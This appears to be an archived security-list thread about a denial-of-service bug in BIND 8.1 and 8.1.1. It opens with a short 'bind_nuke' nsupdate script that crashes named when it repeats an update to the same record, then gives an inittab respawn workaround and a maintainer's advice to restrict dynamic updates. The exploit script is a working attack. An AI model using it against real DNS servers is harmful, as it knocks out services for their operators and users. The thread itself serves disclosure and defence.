aaa sadas das

<PRE>--------------------------------------------------&gt;

#!/bin/bash

echo 'bind_nuke c Artur Skawina skawina@usa.net'

nsupdate &lt;&lt;END

update delete x.$1 A

update add x.$1 60 IN A 3.2.3.6

update delete x.$1 A

END

&lt;--------------------------------------------------

when executed as "bind_nuke bogus.org" on a host, that bogus.org's

primary NS is configured to accept updates from, will cause named

to silently die. Nothing in the logs, nothing on the console.

After a number of similar packets has been received by named any

subsequent attempt to run it will only result in a Segmentation Fault.

[and there's "spoofing"...]

The problem seems to be that bind can not handle updating the

same RR more than once in the same DNS packet.

And as it saves the update requests in the &lt;zone&gt;.log file

and attempts to perform the updates again when restarted,

the bug is triggered again...

The bug is present in both bind8.1 and bind8.1.1.

With bind8.1 one such DU packet was enough to prevent named from runing,

until the /var/named/pri/&lt;zone&gt;.log file was removed/edited.

Bind 8.1.1 needs a few packets but usually &lt;=3 before this happens

named still dies after only one packet, but it is sometimes possible to

restart it w/o any immediate errors/warnings.

----------------------------------------------------

This workaround won't work for the attack listed, but it's still useful to

know..

If you're using named 8.*, it can be run out of inittab with the

non-daemonising switch.

On linuxen:

/etc/inittab

bi:2345:respawn:/usr/sbin/named -f

At least this way, should it die, it'll come back within seconds.

-----------------------------------------------------

If you don't enable updates for a zone, or you enable them only from hosts

within an intelligent source routing prohibited, source addresses checked

firewall, bind is immune to the "bind_nuke" attack published here recently.

updates aren't on by default, and according to rfc 2136 dns updates are not

recommended except from "localhost" which is assumed to be secure. though

i wish that more system vendors would disallow source-address 127.0.0.1 from

coming in off the network. for this reason we have not published a patch

to bind-8.1.1. i expect that we will put bind-8.1.2 into beta testing in a

few weeks. note that we still won't have support for rfc 2137 or TSIG; if

any system vendors would like to fund that effort, we'd love to work on it.

mountain. molehill.

------------------------------------------------------

</PRE>